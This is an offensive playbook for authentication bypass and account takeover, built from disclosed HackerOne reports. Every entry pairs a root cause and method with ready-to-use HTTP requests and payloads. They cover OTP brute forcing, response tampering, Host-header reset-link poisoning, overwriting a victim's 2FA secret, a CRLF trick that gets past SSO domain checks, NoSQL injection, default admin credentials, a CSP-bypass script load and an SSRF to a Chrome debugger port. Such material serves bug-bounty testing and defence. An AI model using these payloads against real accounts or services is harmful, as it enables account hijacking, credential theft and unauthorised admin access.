# Enumerate before touching anything
/login /api/*/login /graphql (loginUser / SignUp)
/forgot-password /reset /2fa/verify /settings/password /settings/email
/resend-verify /check-email /users /xmlrpc.php /wp-json/*/login
Find which trust boundary the target gets wrong, then use the matching attack.
POST /app/login HTTP/1.1
Content-Type: application/json
{"params":{"updates":[
{"param":"user","value":{"userEmail":"VICTIM","userPassword":"wrong"},"op":"a"},
{"param":"gateway","value":true,"op":"a"}]}}
# gateway false->true + victim email = server returns VICTIM's authenticated account
An SPA renders privileged state off a JSON flag in the response, not off a server-issued session. Intercept the response and flip the verdict β even the "wrong password" error can still ship status:true.
# Intercept the RESPONSE to the login/step-up request, edit the flag, forward
HTTP/2 200 OK
Content-Type: application/json
{"status":true,"errorMessage":"Username and Password does not match."}
# ^ false->true; UI renders authenticated admin state though creds are wrong
HTTP/1.1 200 OK
Content-Type: application/json
{"flow_token":"<PASTED_FLOW_TOKEN>:1","status":"success",
"subtasks":[{"subtask_id":"EmailAssocEnterEmail","enter_email":{}}]}
# wrong password entered; forged success + reused flow_token advances the flow
Short numeric codes are only as strong as the throttle and expiry behind them. Test the verify endpoint separately β and test every path that consumes the code, not just login.
# Non-expiring challenge token -> exhaust the whole space (0000-9999)
POST /api/v3/login/phone/<TOKEN> HTTP/1.1
Content-Type: application/json
{"response":"0000"} # token never invalidates; 200 = valid PIN -> session
# Parallel path reuses the code without the login limiter (204 = success oracle)
PUT /api/passenger/v2/profiles/edit HTTP/1.1
x-mts-ssid: <session>
Content-Type: application/x-www-form-urlencoded
profileActivationCode=0000 # 204 No Content = success, 400 = fail; no lockout -> ATO
The reset flow is a whole attack surface: where the link's host comes from, whether the token is bound/single-use/short-lived, and whether the OTP step is throttled.
# Host-header reset-link poisoning -> the token walks into your logs
POST /login/callback/concrete/forgot_password HTTP/1.1
Host: COLLAB
Content-Type: application/x-www-form-urlencoded
ccm_token=<csrf>&uEmail=VICTIM&resetPassword=
# emailed link now points to COLLAB; victim clicks -> token in your access log -> reset
"Confirm current password" and disable-2FA gates only work if they re-verify the right thing and are rate-limited. From a hijacked session, brute the unthrottled old-password field to convert a temporary session into a permanent takeover.
POST /settings/password HTTP/1.1
Cookie: <hijacked session>
Content-Type: application/x-www-form-urlencoded
current_password=GUESS&new_password=Attacker123! # no throttle on old-password -> full ATO
A subtler variant reconfigures a second factor instead of disabling it: a mutation that checks the password but never the current OTP lets you overwrite the victim's TOTP secret and backup codes.
POST /graphql HTTP/1.1
Content-Type: application/json
X-Auth-Token: <session>
{"operationName":"UpdateTwoFactorAuthenticationCredentials",
"variables":{"password":"<pw>","otp_code":"<otp-for-ATTACKER-secret>",
"totp_secret":"<ATTACKER_SECRET>","backup_codes":["..."],"backup_code":"...","signature":"..."},
"query":"mutation UpdateTwoFactorAuthenticationCredentials($password:String!,$otp_code:String!,$backup_code:String!,$totp_secret:String!,$backup_codes:[String]!,$signature:String!){updateTwoFactorAuthenticationCredentials(input:{password:$password,otp_code:$otp_code,backup_code:$backup_code,totp_secret:$totp_secret,backup_codes:$backup_codes,signature:$signature}){was_successful}}"}
# rotates 2FA to attacker's secret without validating the previously-enrolled OTP
CAPTCHA on the UI is worthless if a JSON sibling leaks existence and skips the control. Harvest valid accounts from the unthrottled endpoint, then brute the login API.
# 1. verbose existence oracle on a sibling endpoint, no CAPTCHA
POST /wp-json/brc/v1/resend-verify HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email=candidate@TARGET # distinct response for exists vs not
# 2. feed valid emails to the unthrottled login API
POST /wp-json/brc/v1/login/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=VICTIM@TARGET&password=GUESS
Domain allowlists that compare a raw string but normalize on store, invite tokens not cryptographically bound to an email, and SSO plugins that mint sentinel-password shadow accounts.
# Trailing CRLF desyncs the SSO-domain enforcement check from the stored email
POST /users HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user%5Bemail%5D=x%40TARGET%0d%0a&user%5Bpassword%5D=Passw0rd!
# creates a local password account on an SSO-enforced domain; log in with the clean email
# Invite token accepted for an email different from the one it was minted for
POST /graphql HTTP/1.1
Content-Type: application/json
{"operationName":"SignUp","variables":{"input":{"email":"victim@corp.com","link":null,
"password":"Passw0rd!","source":"invitation"}},
"query":"mutation SignUp($input: SignUpInput!){ auth { signUp(input:$input) __typename } }"}
# keep a valid invite, swap the email -> register as an arbitrary identity, verification skipped
Auth that leans on a spoofable channel or a trusted internal header sidesteps the web login entirely.
An SMS/USSD command feature authenticated by caller-ID alone is spoofable end-to-end (SMS/SS7): forge the victim's number as the sender to the carrier short code and issue account commands (OFF to disable SMS 2FA, tweet, DM, follow) with no other auth (#470749).
# SSO shadow accounts: wp-login blocked, but xmlrpc.php honors the plugin's sentinel password
curl 'https://TARGET/xmlrpc.php' -H 'Content-type: application/xml' --data-binary @call.xml
# call.xml: wp.getOptions with params: blogid, VICTIM@TARGET, @@@nopass@@@
Auth bugs are both the start and the end of chains β nearly every one terminates in full ATO:
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example β concrete payload, outcome, and matching practice lab. 181 in this class.
Real-world example
OTP redirection via unvalidated country code concatenated to phone
β Critical
Specimen #990048 Β· eternal Β· awarded Β· 251 votes Β· resolved
Program eternalSurface apiChain OTP redirect -> merchant account loginTag account-takeover
Root cause
The merchant login send-otp endpoint did not validate country_isd; the backend appended country_isd to phone_number when generating/sending the OTP, so injecting a full attacker number into country_isd redirected the victim's OTP to the attacker.
Method
- Call the send-otp endpoint for the victim's res_id/phone
- Set country_isd to an attacker-controlled full number with a trailing separator so it concatenates into a valid destination
- Receive the victim's OTP and complete login
POST /merchant-api/dining/merchant-login/v1/send-otp HTTP/1.1
Host: www.zomato.com
Content-Type: application/json
{"res_id":"<ID>","country_isd":"918888888888,","phone_number":"<VICTIM_PHONE>"}
Insight β When OTP delivery composes the destination from multiple params (country code + number, prefix + phone), any unvalidated component can redirect the code. Fuzz country_isd/prefix/dialcode fields with full numbers and separators.
Real-world example
Phone-change OTP accepts static code 0000
β Critical
Specimen #2588329 Β· indrive Β· 2000 Β· 238 votes Β· resolved
Program indriveSurface mobile-androidTag account-takeover
Root cause
The OTP verification for changing the account phone number accepted the hardcoded/default code 0000 for any number, so the ownership check was effectively absent.
Method
- Account settings -> change phone number to an arbitrary number
- Enter OTP 0000
- Number is bound to the account
otp=0000
Insight β Test OTP/verification flows with trivial codes (0000, 1234, 000000), blank, and 'omit the field'. A magic/default value or missing server check turns a possession factor into a bypass -> ATO / account hijack of any number.
Real-world example
Brute-force login PIN due to non-expiring login token
β Critical
Specimen #766578 Β· affirm Β· awarded Β· 154 votes Β· resolved
Program affirmSurface mobile-androidChain non-expiring token -> PIN brute -> session token ->Tag account-takeover
Root cause
Affirm's mobile phone-login issues a token (embedded in response_url); the OTP/PIN is submitted against that token, but the token never expires and there is no attempt limit, so the numeric PIN is brute-forceable indefinitely.
Method
- POST phone number to /api/v3/login/phone/ to get response_url with an embedded token
- Send OTP guesses to /api/v3/login/phone/<TOKEN> with {"response":"NNNN"} via Intruder
- Valid PIN returns 200; response yields Affirm-Client session and user_id
- Use Affirm-Client to call /api/v2/users/<user_id> and confirm account access
POST /api/v3/login/phone/ {"channel":"sms","address":"<VICTIM_PHONE>"}
-> {"response_url":"/api/v3/login/phone/<TOKEN>"}
POST /api/v3/login/phone/<TOKEN> {"response":"0000"} # brute 0000-9999, token never expires
Insight β OTP security depends on token/attempt expiry as much as code length. If the login/challenge token doesn't expire or invalidate after N tries, even a 4-digit PIN falls. Always test resend/expiry and attempt caps on the exact token endpoint.
Real-world example
Password-auth bypass by toggling a boolean flag and swapping the email
β Critical
Specimen #1709881 Β· mtn_group Β· awarded Β· 107 votes Β· resolved
Program mtn_groupSurface apiChain gateway=true + victim email -> authenticated as victim -&Tag account-takeover
Root cause
The login API trusts client-supplied fields: changing a 'gateway' param from false to true (and swapping userEmail to the victim's) causes the server to return a successful authenticated response for the victim without a valid password.
Method
- Log in with the attacker's own account and intercept the POST /app/login body
- Change userEmail to the victim's email
- Flip the gateway param value from false to true
- Send; the response returns the victim's account (authenticated) despite wrong password
POST /app/login HTTP/1.1
{"params":{"updates":[{"param":"user","value":{"userEmail":"<VICTIM>","userPassword":"#######"},"op":"a"},{"param":"gateway","value":true,"op":"a"}]}}
Insight β Login/authorization requests that carry client-controlled boolean flags (gateway, isAdmin, verified, authenticated, skipAuth) are prime targets: flip false->true and swap the identity. If the server derives auth success from a request field instead of validating the password, it is a direct ATO.
Real-world example
SMS commands authenticated only by spoofable caller-ID
β Critical
Specimen #470749 Β· x Β· none Β· 106 votes Β· resolved
Program xSurface otherChain caller-ID spoof -> remove SMS 2FA -> further account cTag account-takeover
Root cause
Twitter's SMS command feature authenticated actions solely by the sender's phone number; spoofing the victim's caller-ID to the carrier short code executed account commands (remove 2FA, tweet, DM, follow) with no other auth.
Method
- Know/guess the victim's registered mobile number
- Spoof that number as SMS sender to the region's Twitter short code
- Issue SMS commands executed against the victim account
(spoofed SMS from victim number) -> short code -> e.g. 'OFF' to disable SMS 2FA, tweet text, etc.
Insight β Any feature that treats an inbound phone number / caller-ID as the authenticator is trivially spoofable (SMS/SS7). Enumerate SMS/USSD/email-to-action gateways and test sender spoofing; these bypass web auth entirely.
Real-world example
Default credentials on admin panel -> super-admin
β Critical
Specimen #817331 Β· mtn_group Β· none Β· 53 votes Β· resolved
Program mtn_groupSurface web
Root cause
A production admin/self-service portal ships with unchanged default credentials (admin/admin), granting full super-admin access and configuration control.
Method
- Open the login page of the admin/self-service portal.
- Try admin/admin (and root/root, admin/password, product-specific defaults).
- On success, confirm super-admin capabilities.
username: admin
password: admin
Insight β Trivial but high-yield: test default and vendor credentials (admin/admin, root/root, product defaults) on every discovered login and admin panel before anything else. Costs one request and periodically returns critical access.
Real-world example
Default/guessable admin creds harvested from public docs (username==password)
β Critical
Specimen #1168104 Β· gsa_vdp Β· none Β· 36 votes Β· resolved
Program gsa_vdpSurface webTag account-takeover
Root cause
Weak/nonexistent password policy left an admin account with a trivially guessable password (username == password). Usernames were harvested from a publicly indexed product PDF.
Method
- OSINT the target for documents/manuals listing usernames (Google dorks, vendor PDFs).
- At the login portal, try username==password and other trivial combos for each harvested user.
- 'rick'/'rick' logged in as administrator (edit/create/update users).
# harvested usernames from a public PDF: rick, ban, tim...
# try username == password:
rick:rick -> admin
Insight β Always OSINT for public docs that enumerate real usernames, then test username==password and vendor defaults. A missing password policy on an internal/admin portal is often the whole exploit.
Real-world example
NoSQL injection in login-token handler -> admin auth bypass
β Critical
Specimen #1447619 Β· rocket_chat Β· none Β· 30 votes Β· resolved
Program rocket_chatSurface apiTag account-takeover
Root cause
The login-token auth handler passed result.loginToken straight into a Mongo query (services.loginToken.token) without validation, so a query operator object matched the first user and returned a valid authToken - typically the privileged rocket.cat account.
Method
- POST to /api/v1/login with a JSON body where loginToken is an operator object
- Server returns userId + authToken for the first matching (admin) user
- Use x-user-id / x-auth-token headers to call the API as that user
- When a real loginToken exists, switch from $exists to $regex to still match
curl -s http://TARGET/api/login -H 'Content-Type: application/json' -d '{"loginToken": { "$exists": false }}'
# -> {"data":{"userId":"rocket.cat","authToken":"..."}}
# then: -H 'x-user-id: rocket.cat' -H 'x-auth-token: <authToken>'
Insight β Any auth field placed directly into a Mongo query is a NoSQL-injection auth bypass - send {"$exists":false}/{"$ne":null}/{"$regex":"."} instead of a string. Enforce that token/credential inputs are strings.
Real-world example
Password-reset SMS-token bruteforce + client-side response tampering
β Critical
Specimen #332632 Β· bohemia Β· awarded Β· 28 votes Β· resolved
Program bohemiaSurface webTag account-takeover
Root cause
A multi-step password-reset flow gated progression on a client-side (AngularJS) success check and used a 6-digit SMS token on endpoints with no rate limiting, so the token space (000000-999999) is brute-forceable and step-gating is bypassable by editing the response.
Method
- Start reset for the victim: POST /api/system/verification-codes {username}
- In Burp, intercept the verify response and change 400/error to 200/{status:ok} to advance the AngularJS applet past step gating
- Bruteforce the 6-digit token against the unrate-limited verify endpoint (Intruder, 000000-999999)
- Submit the new password with the found code to /api/system/email-account/password
POST /api/system/email-account/password
{"password":"<NEW>","code":"<BRUTEFORCED_TOKEN>","securityCode":"<RETRIEVED>"}
Insight β 6-digit OTP/reset codes on endpoints without rate limiting are trivially brute-forced. When a SPA gates steps on a JS success flag, tamper the intercepted response (status/body) to walk the flow with invalid inputs. A ReCAPTCHA that isn't actually validated server-side offers no protection.
Real-world example
Username enumeration via distinct error strings + unthrottled login brute force
β Critical
Specimen #766875 Β· palo_alto_software Β· none Β· 24 votes Β· resolved
Program palo_alto_softwareSurface apiChain username enumeration -> password brute force -> admin Tag account-takeover
Root cause
The login API returned different error messages for unknown user vs wrong password ('Username does not exist' vs 'Password does not match username') and enforced no rate limiting, enabling username harvesting followed by password brute force to account takeover.
Method
- Send login attempts and diff the error strings to separate valid from invalid usernames
- Grep out 'Username does not exist' to build a valid-username list (30k+ requests, no blocking)
- Brute force passwords per valid username (start with weak/minimum-length passwords); land valid creds incl. admin
POST /api/v1/login HTTP/1.1
Host: api.TARGET
Content-Type: application/json
{"username":"<user>","password":"<guess>"}
# distinct errors: 'Username does not exist' vs 'Password does not match username'
Insight β Two classic bugs compound into ATO: message-based username enumeration + no rate limiting. Always diff auth error responses (and status/length/timing) to enumerate users, then brute weak passwords. Absence of a 429 after thousands of requests confirms no throttle.
Real-world example
Default admin credentials on Esri Geoportal
β Critical
Specimen #2262365 Β· deptofdefense Β· none Β· 21 votes Β· resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
Deployed geoportal application left factory default administrator accounts enabled.
Method
- Locate a /geoportal/ (Esri Geoportal Server) login
- Try documented defaults: admin/admin and gptadmin/gptadmin
- Authenticate as org admin -> edit/delete content
POST /geoportal/ login
username=admin&password=admin
// or
username=gptadmin&password=gptadmin
Insight β Fingerprint the product, then test its documented factory defaults before anything else. Geoportal/Esri, Grafana, Jenkins, Tomcat, printers, and appliance panels all ship well-known admin creds that survive real deployments.
Real-world example
Client-side auth decision: forge login response + set user-id cookie
β Critical
Specimen #1959540 Β· mars Β· none Β· 19 votes Β· resolved
Program marsSurface webChain Response manipulation + id cookie set -> full account takTag account-takeover
Root cause
The client decides login success from the server's response body and then trusts a client-set cookie carrying the user id; intercepting and rewriting the response to 'success' plus setting the victim's id logs the attacker in as any user with no password.
Method
- Intercept the login request/response for any (attacker) account
- Rewrite the response to indicate a successful login
- Set the session/identity cookie to the target user's id
- Proceed authenticated as the victim - no email/password needed
# original response
{"status":"fail"}
# tampered response (in proxy)
{"status":"success","userId":"<VICTIM_ID>"}
# then set cookie: user_id=<VICTIM_ID>
Insight β Whenever the front-end, not the server, gates authentication (response body says success, identity carried in a client cookie/localStorage), you own auth. Flip failure->success in the response and swap the id primitive to impersonate arbitrary users.
Real-world example
Sanitizer-truncation auth bypass chained to SSRF/Chrome-debugger data theft
β Critical
Specimen #776684 Β· h1-ctf Β· none Β· 16 votes Β· resolved
Program h1-ctfSurface webChain Sanitizer-truncation auth bypass -> blind XSS -> CSP bTag account-takeover
Root cause
Input sanitization strips a trailing special char AFTER identity/recovery material is derived, so registering victim@host< yields a recovery QRcode encoding the real victim@host with a valid code; that logs the attacker in as the privileged user, then a chain of blind-XSS, CSP bypass, IDOR and SSRF reaches the Chrome DevTools port.
Method
- Register user 'jobert@mydocz.cosmic<'; sanitizer drops the trailing < so the recovery QRcode encodes the real jobert email + valid code
- Use that QRcode at /recover to log in as Jobert
- Blind-XSS the support agent via a 1-star chat rating; bypass CSP by loading attacker JS through raw.githack ..%2f path traversal
- Use support panel IDOR (unchecked user_id) to store an <iframe src=http://localhost:9222> in a controlled user's name
- Convert a document as that user -> SSRF renders the Chrome debugger /json/list, leaking the open secret_document tab URL
- Fetch the secret document by its disclosed name
CSP-bypass script load:
<script src="https://raw.githack.com/mattboldt/typed.js/master/lib/..%252f..%252f..%252f..%252fBlaklis/typed.js/master/lib//yolo.js"></script>
Stored-SSRF via support IDOR:
POST /support/review/<id>
name=<iframe src="http://localhost:9222"/>&user_id=16&_csrf_token=<t>
Insight β Sanitize-after-derive causes identity confusion (registered value != stored/derived value) - always test trailing/prefix specials on email/username. CDN proxies like raw.githack treating ..%2f as traversal defeat path-scoped CSP allowlists. Chrome --remote-debugging on :9222 reachable via SSRF (/json/list, ws API) dumps other tabs' URLs/data.
Real-world example
Admin auth bypass via crafted POST setting a privilege parameter
β Critical
Specimen #1146600 Β· deptofdefense Β· none Β· 16 votes Β· resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
Submitting a crafted HTML form POST to an admin endpoint with a specific parameter set (value=1) flips the session/state to authenticated-admin without credentials (exact param names redacted in disclosure).
Method
- Visit the admin-related URL
- Build an HTML form POSTing to the admin endpoint with the required hidden param set to 1
- Submit the form, then reload the admin page
- You now have admin access
<form action="https://TARGET/<admin-endpoint>" method="post">
<input type="hidden" name="<redacted>" value="">
<input type="hidden" name="<redacted>" value="1">
<input type="submit">
</form>
Insight β Some admin gates are toggled by a client-supplied flag; try POSTing role/admin/authenticated=1 style params to admin endpoints. Payload param names are redacted here, so confidence is limited.
Real-world example
Admin console accessible with default credentials admin/admin
β Critical
Specimen #1839012 Β· deptofdefense Β· none Β· 12 votes Β· resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
An admin console was deployed with unchanged vendor/default credentials, granting full portal access to anyone who tries admin/admin.
Method
- Locate the admin/login portal
- Submit username admin and password admin
- Gain access to the portal and its data
username: admin
password: admin
Insight β Always test default and vendor-documented credentials (admin/admin, admin/password, product-specific defaults) against exposed admin/console/device panels before assuming they are locked down. Low effort, high impact, and still common on staging/appliance/IoT/management interfaces.
Real-world example
2FA bypass: client-supplied challenge equals md5(challenge_answer)
β Critical
Specimen #895798 Β· h1-ctf Β· none Β· 11 votes Β· resolved
Program h1-ctfSurface webChain .git leak -> creds from log (1FA) -> forge challenge=mTag account-takeover
Root cause
The 2FA verification form submits both challenge_answer and a challenge value where challenge = md5(challenge_answer); the server compares the two client-supplied fields instead of a server-stored secret, so an attacker who knows (or logs) the answer forges a valid challenge.
Method
- Recon: crt.sh for subdomains, ffuf for paths; find exposed .git and dump source/log
- Recover leaked credentials from the log file (1FA)
- Inspect the 2FA form: params username, password, challenge, challenge_answer
- Submit challenge_answer from the log plus challenge = md5(challenge_answer) to pass 2FA
- Post-auth: hit the user-statements endpoint and swap identifiers (IDOR) to read other users' data
# 2FA request:
challenge_answer=bD83Jk27dQ
challenge=md5("bD83Jk27dQ") # attacker computes this client-side
Insight β When a verification code and its 'expected value' both travel in the client request (challenge vs challenge_answer, otp vs hash), the check is self-referential and forgeable. Always inspect 2FA/anti-CSRF/nonce fields for client-derivable relationships. Pair with .git leak recon and post-auth IDOR for a full chain.
Real-world example
Default admin/admin credentials on an admin console
β Critical
Specimen #1938693 Β· deptofdefense Β· none Β· 8 votes Β· resolved
Program deptofdefenseSurface web
Root cause
The Kinetic Core System Console shipped with default credentials admin/admin that were never changed, granting full admin access to logs, users and system data.
Method
- Fingerprint the product/version at the login page.
- Try vendor default credentials (admin/admin and product-specific defaults).
- Log in to the admin console.
POST /kinetic/app/ login
username=admin&password=admin
Insight β Always test documented default credentials for the exact product/version you fingerprint - keep a per-product default-cred list. Admin consoles (Kinetic, Tomcat manager, Jenkins, Grafana, printers, appliances) frequently retain factory defaults in production.
Real-world example
Pre-generated MAC-signed VIEWSTATE bypasses CAC auth
β Critical
Specimen #496219 Β· deptofdefense Β· none Β· 2 votes Β· resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
For non-CAC file pickups the ASP.NET server issued a MAC-enabled VIEWSTATE binding an incremental package ID; the same signed VIEWSTATE was accepted on the CAC-enforced path. By pre-generating valid VIEWSTATEs for future incremental package IDs (via the non-CAC flow), an attacker had a valid signed token ready to bypass CAC authentication for CAC-required files.
Method
- Send a test file to observe the current (incremental) package ID
- Via the non-CAC pickupfiles.aspx flow, enumerate future package IDs to harvest their server-signed VIEWSTATE+validation values
- When a CAC-enforced package appears, look up the pre-generated VIEWSTATE for that ID
- Submit pickupfiles.aspx with that VIEWSTATE (skipping the CAC redirect) plus the file password to download
GET /safe/pickupfiles.aspx?id=<package_id> # non-CAC path returns MAC-signed __VIEWSTATE bound to id
# replay stored __VIEWSTATE + __VIEWSTATEGENERATOR for the CAC-enforced id
Insight β When a server signs/MACs a token on a low-assurance path and the same token authorizes a high-assurance path, and the bound identifier is predictable/incremental, you can pre-compute valid signed tokens for IDs you don't yet control. Look for shared signing keys across security tiers plus enumerable IDs.
Real-world example
postMessage origin bypass via String.prototype.search regex coercion
β High
Specimen #129873 Β· x Β· awarded Β· 616 votes Β· resolved
Program xSurface webChain origin bypass -> associate attacker phone -> password Tag account-takeover
Root cause
Digits SDK validated the postMessage sender origin with sdk_host.search(t.origin). search() coerces its string argument to a RegExp, so the attacker origin is treated as a regex where '.' is a wildcard, letting a look-alike domain match the trusted host.
Method
- Find the client-side origin/host check in the SDK
- Confirm it uses String.search()/match()/RegExp with attacker-influenced input
- Register a domain that is a regex-match of the trusted host by replacing chars with literal dots
- Deliver postMessage from that domain to pass validation and receive the victim's credential/token
// Vulnerable check:
// -1 !== "https://www.digits.com".search(t.origin)
// t.origin is coerced to a RegExp, '.' = wildcard
// Attacker origin that matches:
www.d.gits.co // matches www.digits.com
Insight β Grep client SDKs for .search(, .match(, new RegExp( fed with location/origin/referrer. Any origin comparison that isn't strict === or URL-parsed is likely bypassable. Look-alike domains (dots as wildcards) or regex metacharacters break it.
Real-world example
Password-reset code brute: rate limit on one step, not the final step
β High
Specimen #703972 Β· pixiv Β· awarded Β· 313 votes Β· resolved
Program pixivSurface webTag account-takeover
Root cause
The email/SMS verification code (6 digits) was rate-limited during the interactive verify step, but the SAME code was re-validated during the final password-reset submission, which had no attempt limit - so the code is brute-forceable there.
Method
- Request password reset for victim email
- Note the verify step blocks after a few guesses
- Move to the final reset submission which also validates the code but does NOT limit attempts
- Brute the 6-digit code at the final step to set a new password
# Final reset request re-validates the code with no attempt cap.
# Brute parameters observed: tt, code_id, code, phpsession
# for code in 000000..999999: POST reset with code=<code>
Insight β Multi-step OTP flows often enforce rate limiting on only ONE step. Always re-test the LAST step (the actual state change) and any alternate endpoint that re-checks the same secret - the limiter is frequently missing there.
Real-world example
Email-OTP 2FA bypass by deleting a refresh cookie
β Critical
Specimen #2315420 Β· drugs_com Β· none Β· 100 votes Β· resolved
Program drugs_comSurface webTag account-takeover
Root cause
Full session cookies (PHPSESSID, bb_sessionhash) are issued at the 2FA prompt before the OTP is entered; a separate bb_refresh cookie triggers the 2FA gate. Deleting bb_refresh and refreshing lands in an authenticated session.
Method
- Login with valid username+password to reach the 2FA page
- DevTools > Application > Cookies for the site
- Delete the bb_refresh cookie
- Refresh the page -> logged in without OTP
Insight β When a 2FA page already holds full session cookies, probe which cookie enforces the gate. Deleting the 'unverified/refresh' marker cookie can drop you into the already-valid session.
Real-world example
Bypass re-auth password prompt by forging the server's success response
β High
Specimen #770504 Β· x Β· awarded Β· 287 votes Β· resolved
Program xSurface webChain session hijack -> bypass step-up -> change email/phoneTag account-takeover
Root cause
Twitter's step-up password check before changing email/phone is validated client-side: the browser advances based on the server's JSON. Intercepting and replacing the response with a success + the original flow_token bypasses the check even with a wrong password.
Method
- From a hijacked session, start email/phone change and enter any password
- Intercept the POST, note the flow_token
- Forward it, then intercept the server response
- Replace the response body with a success JSON reusing that flow_token
- Forward the forged response; the UI proceeds past the password gate
HTTP/1.1 200 OK
Content-Type: application/json
{"flow_token":"<PASTED_FLOW_TOKEN>:1","status":"success","subtasks":[{"subtask_id":"EmailAssocEnterEmail","enter_email":{...}}]}
Insight β When a step-up/2FA/password gate is enforced by trusting the server's response shape, test response tampering: swap error->success and echo the client's own flow/continuation token. The fix must make the NEXT action require server-side proof the challenge passed.
Real-world example
Referer-based iframe auth bypass via empty Referer (meta referrer=never)
β High
Specimen #168116 Β· x Β· awarded Β· 261 votes Β· resolved
Program xSurface webTag account-takeover
Root cause
Digits getLoginStatus() gated cross-app credential retrieval by checking the HTTP Referer equals the registered domain. An empty Referer was treated as valid, and a page can suppress its Referer with <meta name="referrer" content="never">, defeating the check.
Method
- Embed the Digits bridge iframe from an attacker page
- Set <meta name="referrer" content="never"> so outbound requests carry no Referer
- Empty Referer passes validation; call getLoginStatus to receive the victim's OAuth credential data
<meta name="referrer" content="never">
<iframe src="https://www.digits.com/bridge"></iframe>
<!-- postMessage getLoginStatus, no Referer sent -> validation passes -->
Insight β Referer/Origin allowlists that accept the empty/absent value are bypassable: attackers control Referer emission via meta referrer, referrerpolicy, rel=noreferrer, or https->http downgrade. The correct fix is targeted postMessage(targetOrigin), not Referer checks.
Real-world example
Internet-exposed Cisco TelePresence SX80 with default credentials -> RCE
β Critical
Specimen #684070 Β· deptofdefense Β· none Β· 29 votes Β· resolved
Program deptofdefenseSurface networkChain default credentials -> device admin -> startup-script
Root cause
A network appliance (Cisco TelePresence SX80) was exposed to the internet still using its factory default credentials, granting full admin, which allows persisting startup scripts (code execution).
Method
- Fingerprint the device (banner/IP-info/ASN) to confirm it's an SX80 in scope
- Log in with the documented factory default credentials
- Use admin control (e.g. /web/scripts startup scripts) to gain code execution / persistence
Insight β Enumerate embedded/appliance devices and try vendor default creds; management UIs (SX80, printers, iLO/iDRAC, cameras) often expose script/upload features that turn admin access into RCE and a stealthy backdoor.
Real-world example
SAML signup domain enforcement bypass via trailing CRLF in email -> SSO org access
β High
Specimen #2101076 Β· security Β· awarded Β· 226 votes Β· resolved
Program securitySurface webChain CRLF email bypass -> account on SSO-enforced domain ->Tag samlTag account-takeover
Root cause
The signup endpoint enforces SSO/SAML-only domains via an exact email string match; appending control chars (%0d%0a) to the email defeats the check so a normal password account is created for an SSO-enforced domain, then login works with the clean email.
Method
- POST /users to register with an @sso-enforced-domain email -> normally redirected to SAML
- Resend with user[email]=email@example.com%0d%0a -> request succeeds and creates a local account
- Log in with the clean email; after the victim clicks the standard verification email, the account is usable
- Use 'Sign in with HackerOne' on a downstream SSO org (PullRequest) to reach source code
user%5Bemail%5D=x%40hackerone.com%0d%0a&user%5Bpassword%5D=... # trailing CRLF bypasses SSO-domain enforcement
Insight β Domain/allowlist checks that compare the raw string but store/normalize it differently are bypassable with trailing whitespace/control chars (%0d %0a %00 %20). Test signup and SSO-enforcement endpoints for non-normalized email/username input; chain to downstream SSO trust.
Real-world example
2FA bypass + pre-registration hijack via email change on a trusted device
β High
Specimen #2885636 Β· drugs_com Β· awarded Β· 206 votes Β· resolved
Program drugs_comSurface webChain trusted device -> email change to victim -> 2FA-less sTag account-takeover
Root cause
After completing OTP and selecting 'trust this device for 1 month', a user can change their account email to a victim's not-yet-registered email; the trusted session persists and no OTP is re-prompted, granting a valid session bound to the victim's email. The session is not terminated on email change.
Method
- Register with an attacker email, complete OTP, select 'trust this device 1 month'
- Change account email to the victim's email; session stays valid, 2FA not re-prompted
- Log out/in to confirm no OTP prompt for the victim email
- To persist: cycle email back to attacker, re-verify + trust device, then set victim email again
# 1. register attacker@x, OTP + 'trust device 30d'
# 2. /account/details -> change email to victim@x (unregistered)
# session now bound to victim@x, no OTP
# 3. repeat email swap to maintain access
Insight β Test whether changing the account email (a) re-invalidates the session/2FA and (b) is allowed to an address that already 'exists'. 'Trust this device' tokens that survive an email change let an attacker squat an unregistered victim identity until they force a reset.
Real-world example
XSSI leak of reusable security-challenge token exposes password
β High
Specimen #739737 Β· paypal Β· 15300 Β· 1409 votes Β· resolved
Program paypalSurface webChain XSSI token leak -> complete security challenge -> authTag account-takeover
Root cause
Unique reCAPTCHA/security-challenge tokens were embedded in a JS file that could be read cross-origin (XSSI/cross-site script inclusion). An attacker who leaks the token can complete the victim's security challenge, which replays the authentication request and exposes the entered credentials.
Method
- From a malicious page, include the target's challenge JS cross-origin and read the leaked token (XSSI)
- Lure the victim to follow a login link from the malicious page and enter credentials
- Attacker uses the leaked token to complete the security challenge, triggering the auth replay and exposing the password
Insight β Look for sensitive, single-use tokens (CSRF, captcha/challenge, auth) rendered inside JS/JSONP responses that lack anti-XSSI protection (no object-start guard, callable as <script>). Reusable challenge tokens can be replayed to complete flows on the victim's behalf.
Real-world example
Auth bypass: SSH CA login extension unchecked on secondary host
β High
Specimen #1901040 Β· github Β· 10000 Β· 181 votes Β· resolved
Program githubSurface webTag account-takeover
Root cause
GHES supports SSH certificate-authority auth where the cert carries extension login@github.com=<username>. The gist.github.com auth flow missed the check binding the cert to the acting user, so an attacker's CA-signed cert could authenticate as any username and push to their gists (CVE-2023-23761).
Method
- Control an org SSH CA
- Issue a certificate with extension login@github.com=<victim username>
- Authenticate to gist.github.com over SSH with that cert
- Push changes to the victim's (public or secret) gists (secret requires knowing the URL)
# cert extension:
login@github.com=<VICTIM_USERNAME>
Insight β When one identity mechanism (SSH CA cert with an embedded login claim) is validated on the main host, test every SECONDARY host/subdomain (gist, pages, raw) for the same flow β the per-user binding check is easy to omit on a less-trafficked path.
Real-world example
Bot-auth bypass: empty token yields nil, matching any user by ID
β High
Specimen #3329310 Β· basecamp Β· awarded Β· 126 votes Β· resolved
Program basecampSurface webTag account-takeover
Root cause
authenticate_bot splits bot_key on '-' into id and token; a key like '1-' yields token=nil, and find_by(id:, bot_token: nil) matches real (non-bot) users whose bot_token is nil. Incremental, guessable IDs let an unauthenticated attacker impersonate any user.
Method
- Find/guess a target user's incremental ID (visible in URLs)
- Craft a bot_key of '<id>-' with an empty right-hand side
- POST a message with that key in the room route to post as the target user
POST /rooms/2/2-/messages HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
Hello, I'm the test user, even though I'm not authenticated
